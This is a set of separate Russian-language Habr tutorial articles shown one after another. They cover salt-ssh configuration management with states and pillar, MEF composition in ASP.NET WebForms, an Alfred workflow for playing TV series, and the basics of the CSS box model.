retcode:
255
stderr:
Permission denied (publickey,password).
stdout:
testserver:
True
thesametestserver2:
True
```
Как видите, salt-ssh слегка ругнулся, что не может зайти на удаленный сервер и предложил туда развернуть ключ, но я отменил это. Остальные два сервера(по факту один под разными именами) ответили положительно. Произошло это потому что мы работает из-под root, для которого никаких ssh-ключей не определено. Поэтому можно просто добавить ключ через [ssh-agent](https://en.wikipedia.org/wiki/Ssh-agent) и снова повторить команду.
**повтор:**
```
root@saltsshbox:~# eval `ssh-agent`; ssh-add /home/vagrant/.ssh/id_rsa
Agent pid 2846
Identity added: /home/vagrant/.ssh/id_rsa (/home/vagrant/.ssh/id_rsa)
root@saltsshbox:~# salt-ssh -i --roster-file=/srv/saltstack/saltetc/roster_test '*' test.ping
testserver:
True
thesametestserver:
True
thesametestserver2:
True
```
Теперь все хорошо! Мало того, можно запросто добавить ключ с паролем через ssh-agent. Но если же вы решите деплоить ключ, который предлагает сам salt, то брать его по умолчанию он будет вот по такому пути: */etc/salt/pki/master/ssh/salt-ssh.rsa*
Здесь для теста я намеренно работал с отдельным roster файлом, чтобы показать интересные нюансы. Для дальнейшей же работы указывать roster нам будет не нужно, потому что он уже и так через symlink указан в требуемое место(*/etc/salt/roster*). Ключ **-i** необходим когда мы начинаем работать с новыми хостами, он просто запрещает StrictHostKeyChecking, давая возможность принять новый host key. Для дальнейшей работы он нам тоже будет не нужен.
```
root@saltsshbox:~# salt-ssh '*' test.ping
testserver:
True
```
Напомню, что по умолчанию salt смотрит на roster здесь: */etc/salt/roster* в котором у нас сейчас определен только один хост.
#### **Удаленное выполнение команд**
Теперь когда мы убедились что наша машина с salt-ssh прекрасно видит указанный в roster тестовый сервер, поработаем с ним в стиле ad-hoc.
```
root@saltsshbox:~# salt-ssh testserver cmd.run "uname -a"
testserver:
Linux testserver 3.13.0-87-generic #133-Ubuntu SMP Tue May 24 18:32:09 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
```
*cmd.run* это по сути аналог ключа `-a` в ansible.
Также можно использовать встроенные модуля saltstack, например:
```
salt-ssh testserver service.get_enabled
salt-ssh testserver pkg.install git
salt-ssh testserver network.interfaces
salt-ssh testserver disk.usage
salt-ssh testserver sys.doc
```
Последняя команда выдаст документацию об модулях и, главное, примеры их использования. Дополнительно можно посмотреть [полный список доступных модулей Saltstack](https://docs.saltstack.com/en/latest/ref/modules/all/).
#### **Salt Grains или факты о системе**
[Grains](https://docs.saltstack.com/en/latest/ref/modules/all/salt.modules.grains.html) это мощный механизм, представляющий набор фактов об удаленной системе. В дальнейшем на основе Grains можно также строить различную логику.
Но для начала посмотрим как с ними начать работать:
```
root@saltsshbox:~# salt-ssh testserver grains.items
testserver:
----------
SSDs:
biosreleasedate:
12/01/2006
biosversion:
VirtualBox
cpu_flags:
- fpu
- vme
- de
- pse
- tsc
...
cpu_model:
Intel(R) Core(TM) i7-2620M CPU @ 2.70GHz
cpuarch:
x86_64
disks:
- sda
...
```
Вывод команды урезан.
К нужной ветви Grains можно обратиться, непосредственно указав её:
```
root@saltsshbox:~# salt-ssh testserver grains.get 'ip4_interfaces'
testserver:
----------
eth0:
- 10.0.2.15
eth1:
- 192.168.33.75
lo:
- 127.0.0.1
```
Либо даже более конкретно:
```
root@saltsshbox:~# salt-ssh testserver grains.get 'ip4_interfaces:eth1'
testserver:
- 192.168.33.75
```
#### **Salt master файл и top.sls**
Теперь пришла пора рассказать про еще один важный файл */etc/salt/master*. Вообще он идет в комплекте с пакетом *salt-master* и определяет некоторые важные опции логирования и директории в которых salt будет искать наши states и pillar данные. По умолчанию для states определена директория */srv/salt*. Но на практике часто более рационально использовать другую структуру, в том числе и для этих примеров.
**/etc/salt/master:**
```
state_verbose: False
state_output: mixed
file_roots:
base:
- /srv/saltstack/salt
pillar_roots:
base:
- /srv/saltstack/pillar
```
*state\_verbose* и *state\_output* это переменные, которые отвечают за отображение статуса выполнения на экране. На мой взгляд такая комбинация наиболее практична, но рекомендую поэкспериментировать.
*file\_roots* и *pillar\_roots* указывают пути к нашим state и pillar данным соотвественно.
Важно! этих путей может быть несколько. По принципу разных окружений, разных данных и т.д. и т.п., но это тема для отдельной статьи по настройке multi-environment среды, для начала нам же просто необходимо знать, куда нам положить наши state файлы, чтобы salt их нашел.
Далее, в каждой из этой директорий (*file\_roots* и *pillar\_roots*) сальт будет искать файлы *top.sls*, которые определяют уже дальнейшую логику обработки salt файлов.
В нашем случае:
**/srv/saltstack/salt/top.sls:**
```
base:
'*':
- common
- timezone
'testserver':
- chrony
```
Что означает, для всех хостов применить state common и timezone, а для testserver применить еще и [chrony](http://chrony.tuxfamily.org/) (сервис синхронизации времени).
Для pillar также необходим top.sls файл. Который будет определять в каком порядке и как будут назначаться переменные.
**/srv/saltstack/pillar/top.sls:**
```
base:
'*':
- timezone
'testserver':
- hosts/testserver
```
В нашем случае файл этот предельно простой, указано лишь подключить все переменные из файла timezone.sls и еще подключить переменые из файла *hosts/testserver* для нашего testserver, однако, за этой простотой скрывается мощная концепция, т.к. переменные можно назначить как угодно и на какое угодно окружение. Правда, перекрытие и слияние переменных (Variables Overriding and Merging) это отдельная тема, пока скажу что приоритетность задается сверху вниз. Т.е. если бы у нас здесь в файле hosts/testserver.sls содержались переменные с timezone, то они бы имели преимущество.
В файлах *top.sls* все указывается без расширения *.sls*.
#### **Работа с salt states**
Приступим к простенькому state:
**/srv/saltstack/salt/packages.sls**:
```
# Install some basic packages for Debian systems
{% if grains['os_family'] == 'Debian' %}
basepackages:
pkg.installed:
- pkgs:
- lsof
- sysstat
- telnet
{% endif %}
```
Как видно, здесь мы применили и jinja и grains и собственно сам pkg модуль.
Попробуем применить этот state в тестовом режиме:
```
root@saltsshbox:/srv/saltstack# salt-ssh testserver state.sls packages test=true
[INFO ] Fetching file from saltenv 'base', ** done ** 'packages.sls'
testserver:
Name: basepackages - Function: pkg.installed - Result: Differs
Summary for testserver
------------
Succeeded: 1 (unchanged=1)
Failed: 0
------------
Total states run: 1
```
И далее уже в реальном:
```
root@saltsshbox:/srv/saltstack# salt-ssh testserver state.sls packages
[INFO ] Fetching file from saltenv 'base', ** skipped ** latest already in cache 'salt://packages.sls'
testserver:
Name: basepackages - Function: pkg.installed - Result: Changed
Summary for testserver
------------
Succeeded: 1 (changed=1)
Failed: 0
------------
Total states run: 1
```
#### **Salt Pillar или переменные**
Следующее важное звено — это [Pillar](https://docs.saltstack.com/en/latest/topics/pillar/). Так в SaltStack называется переменные, или всё что задается со стороны мастера для удаленных систем. Частично они уже вам знакомы из описанного выше, поэтому сразу к делу.
Получить все pillar переменные, определенные для хоста:
```
root@saltsshbox:~# salt-ssh testserver pillar.items
testserver:
----------
chrony:
----------
lookup:
----------
custom:
# some custom addons
# if you need it
timezone:
----------
name:
Europe/Moscow
```
Также как и с Grains можно запросить отдельно взятую переменную:
```
salt-ssh testserver pillar.get 'timezone:name'
```
#### **Использование state вместе с pillar**
Рассмотрим следующий state:
**/srv/saltstack/salt/timezone.sls:**
```
{%- set timezone = salt['pillar.get']('timezone:name', 'Europe/Dublin') %}
{%- set utc = salt['pillar.get']('timezone:utc', True) %}
timezone_settings:
timezone.system:
- name: {{ timezone }}
- utc: {{ utc }}
```
Здесь мы задали переменную на основе данных из pillar. Причем в этой конструкции:
```
{%- set timezone = salt['pillar.get']('timezone:name', 'Europe/Dublin') %}
```
*Europe/Dublin* — это значение по умолчанию, если по каким-то причинам salt не сможет получить значение из Pillar.
**Выполним:**
```
root@saltsshbox:/srv/saltstack# salt-ssh testserver state.sls timezone
[INFO ] Fetching file from saltenv 'base', ** skipped ** latest already in cache 'salt://timezone.sls'
testserver:
Name: Europe/Moscow - Function: timezone.system - Result: Changed
Summary for testserver
------------
Succeeded: 1 (changed=1)
Failed: 0
------------
Total states run: 1
```
#### **Real Life пример**
И вот, наконец-то, мы добрались уже до реального жизненного примера. Рассмотрим state синхронизации времени — chrony. Находится он у нас здесь:
*/srv/saltstack/salt/chrony/init.sls*
Причем *init.sls* это индекс по умолчанию, salt ищет его автоматически, но можно использовать и любой другой файл.
Здесь мы введем еще одну типичную конструкцию для salt — это *map.jinja*.
**/srv/saltstack/salt/chrony/map.jinja:**
```
{% set chrony = salt['grains.filter_by']({
'RedHat': {
'pkg': 'chrony',
'conf': '/etc/chrony.conf',
'service': 'chronyd',
},
'Debian': {
'pkg': 'chrony',
'conf': '/etc/chrony/chrony.conf',
'service': 'chrony',
},
}, merge=salt['pillar.get']('chrony:lookup')) %}
```
Её назначение — это создать необходимый набор статических переменных под нашу систему, но с возможностью слияния с переменными из pillar, если таковые вдруг понадобится указать.
Дальше сам **/srv/saltstack/salt/chrony/init.sls:**
```
{% from "chrony/map.jinja" import chrony with context %}
chrony:
pkg.installed:
- name: {{ chrony.pkg }}
service:
- name: {{ chrony.service }}
- enable: True
- running
- require:
- pkg: {{ chrony.pkg }}
- file: {{ chrony.conf }}
{{ chrony.conf }}:
file.managed:
- name: {{ chrony.conf }}
- source: salt://chrony/files/chrony.conf.jinja
- template: jinja
- user: root
- group: root
- mode: 644
- watch_in:
- service: {{ chrony.service }}
- require:
- pkg: {{ chrony.pkg }}
```
Здесь отдельного внимания заслуживает шаблон *salt://chrony/files/chrony.conf.jinja* формата jinja.
**/srv/saltstack/salt/chrony/files/chrony.conf.jinja:**
```
# managed by SaltStack
{%- set config = salt['pillar.get']('chrony:lookup', {}) -%}
{%- set vals = {
'bindcmdaddress': config.get('bindcmdaddress','127.0.0.1'),
'custom': config.get('custom', ''),
}%}
### chrony conf
server 0.centos.pool.ntp.org iburst
server 1.centos.pool.ntp.org iburst
server 2.centos.pool.ntp.org iburst
server 3.centos.pool.ntp.org iburst
stratumweight 0
driftfile /var/lib/chrony/drift
rtcsync
makestep 10 3
bindcmdaddress {{ vals.bindcmdaddress }}
bindcmdaddress ::1
keyfile /etc/chrony.keys
commandkey 1
generatecommandkey
noclientlog
logchange 0.5
logdir /var/log/chrony
{% if vals.custom -%}
{{ vals.custom }}
{%- endif %}
```
В этом шаблоне мы также запрашиваем переменные из Pillar и обрабатываем их. Просмотреть как этот state воспринялся salt можно при помощи *state.show\_sls*:
**Вывод salt-ssh testserver state.show\_sls chrony**
```
root@saltsshbox:/srv/saltstack# salt-ssh testserver state.show_sls chrony
[INFO ] Fetching file from saltenv 'base', ** done ** 'chrony/init.sls'
[INFO ] Fetching file from saltenv 'base', ** done ** 'chrony/map.jinja'
testserver:
----------
/etc/chrony/chrony.conf:
----------
__env__:
base
__sls__:
chrony
file:
|_
----------
name:
/etc/chrony/chrony.conf
|_
----------
source:
salt://chrony/files/chrony.conf.jinja
|_
----------
template:
jinja
|_
----------
user:
root
|_
----------
group:
root
|_
----------
mode:
644
|_
----------
watch_in:
|_
----------
service:
chrony
|_
----------
require:
|_
----------
pkg:
chrony
- managed
|_
----------
order:
10002
chrony:
----------
__env__:
base
__sls__:
chrony
pkg:
|_
----------
name:
chrony
- installed
|_
----------
order:
10001
service:
|_
----------
name:
chrony
|_
----------
enable:
True
- running
|_
----------
require:
|_
----------
pkg:
chrony
|_
----------
file:
/etc/chrony/chrony.conf
|_
----------
order:
10000
|_
----------
watch:
|_
----------
file:
/etc/chrony/chrony.conf
```
Дальше уже просто выполним его:
```
root@saltsshbox:/srv/saltstack# salt-ssh testserver state.sls chrony
testserver:
Name: chrony - Function: pkg.installed - Result: Changed
Name: /etc/chrony/chrony.conf - Function: file.managed - Result: Changed
Name: chrony - Function: service.running - Result: Changed
Summary for testserver
------------
Succeeded: 3 (changed=3)
Failed: 0
------------
Total states run: 3
```
Здесь salt докладывает о 3х выполненных state по суммарному колличеству задействованных модулей. Если выполнить повторно, то видно что никаких изменений не было произведено:
```
root@saltsshbox:/srv/saltstack# salt-ssh testserver state.sls chrony
testserver:
Summary for testserver
------------
Succeeded: 3
Failed: 0
------------
Total states run: 3
```
Сразу же можно и посмотреть как сформировался конфигурационный файл для chrony:
```
salt-ssh testserver cmd.run 'cat /etc/chrony/chrony.conf'
```
Финально стоит упомянуть еще команду *state.highstate*.
```
salt-ssh testserver state.highstate
```
Она применяет все прописанные state для нашего тестового сервера.
#### **Заключение**
Итак, мы узнали чтоже из себя представляет salt-ssh из комплекта SaltStack и как его использовать. Узнали ключевые особенности построения окружения, необходимого для работы salt-ssh. Настроили тестовую среду при помощи Vagrant. И планомерно провели эксперименты с фундаментальными концепциями SaltStack, такими как: Grains, States, Pillar. Также мы узнали как писать state от простого к сложному, дойдя до реальных примеров, позволяющих на своей базе уже строить дальнейшую автоматизацию.
На этом пока все. За бортом осталось еще множество интересных тем, но я надеюсь что эта информация поможет начать работать с этой замечательной системой управления конфигурациями.
**Полезная информация:**
[best\_practices](https://docs.saltstack.com/en/latest/topics/best_practices.html)
[walkthrough](https://docs.saltstack.com/en/latest/topics/tutorials/walkthrough.html)
[starting\_states](https://docs.saltstack.com/en/latest/topics/tutorials/starting_states.html)
[pillar](https://docs.saltstack.com/en/latest/topics/tutorials/pillar.html)
[formulas](https://docs.saltstack.com/en/latest/topics/development/conventions/formulas.html)
[tutorials](https://docs.saltstack.com/en/latest/topics/tutorials/) | https://habr.com/ru/post/303418/ | null | ru | null |
# Использование MEF (Managed Extensibility Framework) для разработки Asp.Net WebForms приложений
MEF является хорошим фреймворком для написания расширяемых приложений. Он позволяет легко отделять реализацию от абстракции, добавлять/изменять/удалять реализации во время работы приложения (рекомпозиция), работать с множественными реализациями абстракций, разделять монолитные приложения на независимые части и пр.
Большинство примеров работы MEF являются консольными или WPF приложениями. Почему? Потому что в этом случае легче всего контролировать время жизни составных элементов (composable parts) т.к. сам MEF заботится об этом, а разработчик концентрируется на задачах примера.
Ситуация в веб приложениях кардинально отличается. Разработчики не ответственны за создание страниц, контролов и пр., т.к. Asp.net Runtime берёт всё на себя.
Таким образом, что бы реализовать поддержку MEF для веб приложений следует скомбинировать алгоритмы обоих инструментов.
#### Известные решения
[Существует решение](http://mef.codeplex.com/releases/view/44166), как MEF может быть использован для WebForms приложений. Но у этого примера есть несколько важных ограничений.
* Разработчики должны переунаследовать все контролы, страницы и пользовательские контролы, что не всегда возможно
* Этот пример не предлагает решения для поддержки `HttpModule` и `HttpHandler`
#### Высокоуровневая архитектура
Целью решения является осуществить поддержки MEF контейнера без необходимости использовать механизм переунаследования и обеспечить поддержку `HttpModule` и `HttpHandler`.
Не смотря на то, что я отверг представленное выше решение, я собираюсь использовать его в качестве основы. Это значит, что я буду использовать два контейнера — локальный (per request) и глобальный.
Каждый раз, когда приходит запрос, asp.net runtime создаёт запрошенную страницу или хэндлер и создаёт все зависимые контролы. Я предлагаю инициализировать импортируемые элементы сразу после того, как все части страницы созданы, и сохранять все инициализированные импорты в локальный контейнер.
C другой стороны `HttpModule` создаются один раз сразу после старта всего приложения. Таким образом, импорт для них должен осуществляться как можно раньше и все `HttpModule` должны сохраняться в глобальном контейнере.
#### Реализация
##### Страницы и контролы
Для того, что бы выполнить операцию импортирования для страницы и всех её зависимостей, следует воспользоваться дополнительным `HttpModule`. В этом модуле следует добавить обработчики `Pre_Init` и `Init` для текущей запрашиваемой страницы. В первом обработчике появляется возможность выполнить композицию для страницы, мастер-страницы и пользовательских контролов. Событие `Init` позволит выполнить композицию для серверных контролов, т.к. на `Pre_Init` они ещё не существуют.
*Пример:*
> `public class ComposeContainerHttpModule : IHttpModule
> {
> public void Init(HttpApplication context)
> {
> context.PreRequestHandlerExecute += ContextPreRequestHandlerExecute;
> }
>
> private void ContextPreRequestHandlerExecute(object sender, EventArgs e)
> {
> Page page = HttpContext.Current.CurrentHandler as Page;
> if (page != null)
> {
> page.PreInit += Page\_PreInit;
> page.Init += Page\_Init;
> }
> }
>
> private void Page\_Init(object sender, EventArgs e)
> {
> Page handler = sender as Page;
>
> if (handler != null)
> {
> CompositionBatch batch = new CompositionBatch();
> batch = ComposeWebPartsUtils.BuildUpControls(batch, handler.Controls);
> ContextualCompositionHost.Container.Compose(batch);
> }
> }
>
> private void Page\_PreInit(object sender, EventArgs e)
> {
> Page handler = sender as Page;
>
> if (handler != null)
> {
> CompositionBatch batch = new CompositionBatch();
> batch = ComposeWebPartsUtils.BuildUp(batch, handler);
> batch = ComposeWebPartsUtils.BuildUpUserControls(batch, handler.Controls);
> batch = ComposeWebPartsUtils.BuildUpMaster(batch, handler.Master);
> ContextualCompositionHost.Container.Compose(batch);
> }
> }
>
> public void Dispose()
> {
> }
> }
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/106762/ | null | ru | null |
# Workflow просмотра сериалов для Alfred
В конце [предыдущей своей статьи](https://habrahabr.ru/post/304770/) я начал рассказывать о том как у меня организован просмотр сериалов, но решил что это — тема для отдельной заметки.
**Для тех кто не знает что такое Alfred**[Alfred](https://www.alfredapp.com) — это [Spotlight](https://support.apple.com/ru-ru/HT204014) на стероидах. Умеет чуть более чем всё что умеет Spotlight, плюс, начиная со второй версии, поддерживает написание, *а так же использование написанных другими людьми*, так называемых, **workflows**. То бишь, расширений функциональности самописными скриптами. Для их написания поддерживается несколько скриптовых языков:
* bash
* zsh
* php
* ruby
* python
* perl
* osascript
* javascript
Речь в этой статье пойдет об одном из таких расширений.
Немного забегая вперед, хочу показать, что же у нас есть в итоге…
Когда обнаруживается время расслабиться и включить сериальчик, я запускаю Alfred, ввожу "сериалы" и получаю в ответ список загруженных.
**ls -R папки сериалов**
```
./
../
Во все тяжкие[Кубик в Кубе]/
Код[Alexfilm]/
Чак[ВГТРК]/
Мистер Робот[Lostfilm]/
Темная материя[Lostfilm]/
Уэйуорд Пайнс[Lostfilm]/
Королевство[Newstudio]/
./Во все тяжкие[Кубик в Кубе]:
./
../
3 сезон/
4 сезон/
5 сезон/
./Во все тяжкие[Кубик в Кубе]/3 сезон:
./
../
Breaking.Bad.s03e04.rus.eng.Kybik.v.Kybe.avi
Breaking.Bad.s03e05.rus.eng.Kybik.v.Kybe.avi
Breaking.Bad.s03e06.rus.eng.Kybik.v.Kybe.avi
Breaking.Bad.s03e07.rus.eng.Kybik.v.Kybe.avi
Breaking.Bad.s03e08.rus.eng.Kybik.v.Kybe.avi
Breaking.Bad.s03e09.rus.eng.Kybik.v.Kybe.avi
Breaking.Bad.s03e10.rus.eng.Kybik.v.Kybe.avi
Breaking.Bad.s03e11.rus.eng.Kybik.v.Kybe.avi
Breaking.Bad.s03e12.rus.eng.Kybik.v.Kybe.avi
Breaking.Bad.s03e13.rus.eng.Kybik.v.Kybe.avi
./Во все тяжкие[Кубик в Кубе]/4 сезон:
./
../
Breaking.Bad.s04e01.k3.avi
Breaking.Bad.s04e02.k3.avi
Breaking.Bad.s04e03.k3.avi
Breaking.Bad.s04e04.k3.avi
Breaking.Bad.s04e05.k3.avi
Breaking.Bad.s04e06.k3.avi
Breaking.Bad.s04e07.k3.avi
Breaking.Bad.s04e08.k3.avi
Breaking.Bad.s04e09.k3.avi
Breaking.Bad.s04e10.k3.avi
Breaking.Bad.s04e11.k3.avi
Breaking.Bad.s04e12.k3.avi
Breaking.Bad.s04e13.k3.avi
./Во все тяжкие[Кубик в Кубе]/5 сезон:
./
../
Vo.vse.tyazkie.(5.sezon.01.seriya.iz.16).2012.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.02.seriya.iz.16).2012.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.03.seriya.iz.16).2012.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.04.seriya.iz.16).2012.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.05.seriya.iz.16).2012.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.06.seriya.iz.16).2012.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.07.seriya.iz.16).2012.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.08.seriya.iz.16).2012.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.09.seriya.iz.16).2013.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.10.seriya.iz.16).2013.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.11.seriya.iz.16).2013.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.12.seriya.iz.16).2013.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.13.seriya.iz.16).2013.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.14.seriya.iz.16).2013.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.15.seriya.iz.16).2013.x264.WEB-DL.720p.Kubik.v.Kube.mkv
Vo.vse.tyazkie.(5.sezon.16.seriya.iz.16).2013.x264.WEB-DL.720p.Kubik.v.Kube.mkv
./Код[Alexfilm]:
./
../
The.Code.E03.WEB-DLRip.Rus.Eng.AlexFilm.avi
The.Code.E04.WEB-DLRip.Rus.Eng.AlexFilm.avi
The.Code.E05.WEB-DLRip.Rus.Eng.AlexFilm.avi
The.Code.E06.WEB-DLRip.Rus.Eng.AlexFilm.avi
./Чак[ВГТРК]:
./
../
3 сезон/
4 сезон/
./Чак[ВГТРК]/3 сезон:
./
../
Chuck.s03e01.HDRip.avi
Chuck.s03e02.HDRip.avi
Chuck.s03e03.HDRip.avi
Chuck.s03e04.HDRip.avi
Chuck.s03e05.HDRip.avi
Chuck.s03e06.HDRip.avi
Chuck.s03e07.HDRip.avi
Chuck.s03e08.HDRip.avi
Chuck.s03e09.HDRip.avi
Chuck.s03e10.HDRip.avi
Chuck.s03e11.HDRip.avi
Chuck.s03e12.HDRip.avi
Chuck.s03e13.HDRip.avi
Chuck.s03e14.HDRip.avi
Chuck.s03e15.HDRip.avi
Chuck.s03e16.HDRip.avi
Chuck.s03e17.HDRip.avi
Chuck.s03e18.HDRip.avi
Chuck.s03e19.HDRip.avi
./Чак[ВГТРК]/4 сезон:
./
../
Chuck.s04e01.HDRip.avi
Chuck.s04e02.HDRip.avi
Chuck.s04e03.HDRip.avi
Chuck.s04e04.HDRip.avi
Chuck.s04e05.HDRip.avi
Chuck.s04e06.HDRip.avi
Chuck.s04e07.HDRip.avi
Chuck.s04e08.HDRip.avi
Chuck.s04e09.HDRip.avi
Chuck.s04e10.HDRip.avi
Chuck.s04e11.HDRip.avi
Chuck.s04e12.HDRip.avi
Chuck.s04e13.HDRip.avi
Chuck.s04e14.HDRip.avi
Chuck.s04e15.HDRip.avi
Chuck.s04e16.HDRip.avi
Chuck.s04e17.HDRip.avi
Chuck.s04e18.HDRip.avi
Chuck.s04e19.HDRip.avi
Chuck.s04e20.HDRip.avi
Chuck.s04e21.HDRip.avi
Chuck.s04e22.HDRip.avi
Chuck.s04e23.HDRip.avi
Chuck.s04e24.HDRip.avi
./Мистер Робот[Lostfilm]:
./
../
Mr.Robot.S02E03.1080p.rus.LostFilm.TV.mkv
./Темная материя[Lostfilm]:
./
../
Dark.Matter.S02E04.720p.WEB.rus.LostFilm.TV.mp4
./Уэйуорд Пайнс[Lostfilm]:
./
../
Wayward.Pines.S02E09.1080p.rus.LostFilm.TV.mkv
./Королевство[Newstudio]:
./
../
Kingdom.s02e17.HDTV.720p.NewStudio.TV.mkv
```
То есть, заголовок и подзаголовок берутся из имен директорий. Например, последняя строчка из списка выше — папка "Чак[ВГТРК]" с подпапками сезонов. Если имя папки не содержит квадратных скобок, ее элемент в списке Alfred не будет иметь подзаголовка.
Когда выбираем интересующий пункт, запускается плеер (в моем случае — [VLC](http://www.videolan.org/vlc/)) и начинает воспризводить первую непросмотренную серию из выбранного раздела. По окончании воспроизведения, он самостоятельно закрывается (у VLC есть параметр --play-and-exit). После чего скрипт предлагает удалить просмотренный эпизод, спрашивает насколько по пятибальной шкале он Вам понравился и отмечает оный просмотренным с соответствующим рейтингом на [myshows.me](https://myshows.me). Уведомляет об успехе/неудаче. И, если уведомление гласит что все хорошо, кликом по нему можно попасть прямиком на страницу только что просмотренного эпизода. С версии *1.5*, воркфлоу не требует для полноценного функционирования аккаунт на myshows.me (подразумевая соответствующие ограничения функциональности).
Для уведомлений используется [terminal-notifier](https://github.com/julienXX/terminal-notifier), который включен в workflow.
Так же зависимостями являются пакеты [requests](http://docs.python-requests.org/en/master/) и [alfred-workflow](https://github.com/deanishe/alfred-workflow) для python. Оба тоже включены в workflow.
Перед использованием, workflow предложит указать:
* Папку в которой лежат сериалы
* Плеер который будет их воспроизводить
* Логин и пароль с myshows.me *(с версии 1.5 — опционально)*
Бонусы
------
*Нижеперечисленное работает только если указать credentials с myshows.me*
Помимио просмотра сериалов, сделал возможность посмотреть список уже вышедших, но еще не просмотренных по данным с аккуанта на myshows.me.
А так же, список тех что относительно скоро выйдут. Снова же используя api myshows.me и список подписок.
Вводя название сериала после ключевого слова, можно фильтровать вывод, а по выбору пункта в любом из них, откроется страница соответствующего эпизода.
[Ссылка на workflow](https://github.com/fantomnotabene/NB-seies-player/raw/master/NB-series-player.alfredworkflow).
Реализовано автообновление, используя GitHub Releases. | https://habr.com/ru/post/305346/ | null | ru | null |
# Свойства блочной модели CSS. Объяснение с примерами
Приветствую всех жителей хабравиля! Сегодня я подготовил для вас материал по основам по блочной модели CSS. Безусловно, многие из вас знают о чём идёт речь, но сегодня я постараюсь объяснить прописные истины более понятно и наглядно, что поможет вам создавать веб-сайты, с идеально подходящими друг другу элементами (с точностью до пикселя), и научит более точно использовать свойства размеров, полей, отступов и границ. Итак, всех приглашаю под кат и погнали!
Оглавление
----------
* [Зачем изучать блочную модель CSS?](#1)
* [Структура блочной модели CSS](#2)
* [Свойство Padding](#3)
* [Свойство Border](#4)
* [Свойство Margin](#5)
* [Свойство box-sizing](#6)
* [Content-box VS Border-box](#7)
Зачем изучать блочную модель CSS?
---------------------------------
Блочная модель CSS состоит из свойств: **box-sizing**, **padding** и **margin**. Если их **не** использовать, то получим что-то похожее
Веб-сайт без полей и отступовНо если вы будете правильно использовать свойства блочной модели, ваш сайт будет выглядеть так
Веб-сайт, использующий свойства блочной моделиВыглядит гораздо более привлекательно, не так ли? Если вы хотите создать свой сайт с точными расчетами, как тот, что указан выше, то вы попали по адресу. Изучение блочной модели CSS - один из многих способов, которые помогут вам сделать **веб-сайты, идеальные до пикселя.**
В этой статье мы поговорим о том, как использовать эти свойства:
* Padding
* Margin
* Border
* box-sizing
### Как использовать свойства блочной модели CSS
Давайте посмотрим на несколько примеров, где мы можем использовать свойства блочной модели CSS. Мы собираемся проанализировать **сайт, показанный выше. **
Давайте внимательнее посмотрим на навигационную панель (**navbar**). Вы можете заметить разницу между примером, в котором используется свойство **padding**, и примером, в котором его нет:
Элементы навигационной панели, использующие свойство paddingТеперь давайте подробнее рассмотрим **раздел содержимого вместе с кнопками**. Опять же, вы заметите разницу - на правой картинке также используется свойство **padding**.
Раздел содержимого, использующий свойство padding### Структура блочной модели CSS
Говоря о блочной модели, стоит воспринимать её как **луковицу**. И эта "луковица" имеет **4 слоя**:
* **1** слой: Content
* **2**слой: Padding
* **3**слой: Border
* **4**слой: Margin
### 1 слой блочной модели: Content
В HTML **все ведет себя как ящик с контентом**. Давайте вставим контент с изображением котенка.
Первый слой### 2 слой блочной модели: Padding
Следующий слой блочной модели CSS - это слой **заполнения**. Он обертывает наш контент следующим образом
Второй слой### 3 слой блочной модели: Border
Следующий слой блочной модели CSS - это **пограничный** слой. Он обертывает наш контент + отступы следующим образом
Черная пунктирная линия - граница#### 4 слой блочной модели: Margin
Следующим и последним слоем блочной модели CSS является слой **полей**. Он обертывает наш **контент + отступ + границу**следующим образом ****
Четвёртый слойИтак, давайте посмотрим, как эти свойства работают в проекте.
Как настроить проект
--------------------
Это руководство **подходит для всех, в том числе для новичков.**Если вы хотите писать код, выполните следующие действия.
### HTML
Откройте VS Code или [Codepen.io](http://codepen.io/) и напишите этот код внутри **тега body:**
```
Box-1
```
### CSS
Очистите стили нашего браузера по умолчанию
```
* {
margin: 0px;
padding: 0px;
font-family: sans-serif;
}
```
Теперь давайте стилизуем наш блок
```
.box-1 {
width: 300px;
background-color: skyblue;
font-size: 50px;
}
```
Все готово, приступим к программированию!
Свойство Padding
----------------
Но сначала давайте обсудим **практическое использование** свойства padding. Затем мы увидим, как использовать это свойство.
Обычно я использую отступы, **чтобы оставить пространство между содержимым.**Посмотрите на эту навигационную панель ****
Элементы навигационной панели, использующие свойство paddingВот вам еще один пример - посмотрите на содержимое ниже с двумя кнопками
раздел содержимого с использованием свойства заполнения### Как использовать свойство padding в CSS
Ниже представлены названия четырех свойств заполнения:
* padding-top
* padding-right
* padding-bottom
* padding-left
Свойства paddingИ помните, что отступы - это пространство, которое вы добавляете **поверх**основного контента**:**
Второй слойДавайте добавим отступы к нашему контенту. **Область красного цвета - это отступ **
Область красного цвета - это отступЧтобы воссоздать результаты, указанные выше, напишите этот код в свой CSS:
```
// Padding added on top, right, left, bottom of .box-1
.box-1{
padding : 100px;
}
```
Откроем консоль разработчика и **перейдем в вычисляемый раздел**:
В самом центре - **контент**, который **300px** в ширину. Посмотрите, вокруг контента мы добавили **отступы по 100 пикселей**.
Давайте попробуем добавить отступ **только к одной стороне нашего контента (только с правой стороны):**
свойство padding-rightЧтобы воссоздать результаты, указанные выше, напишите этот код в свой CSS:
```
.box-1{
padding: 0 100px 0 0;
}
// Or you can use
.box-1{
padding-right: 100px;
}
```
Теперь откройте вычисляемый раздел в консоли разработчика
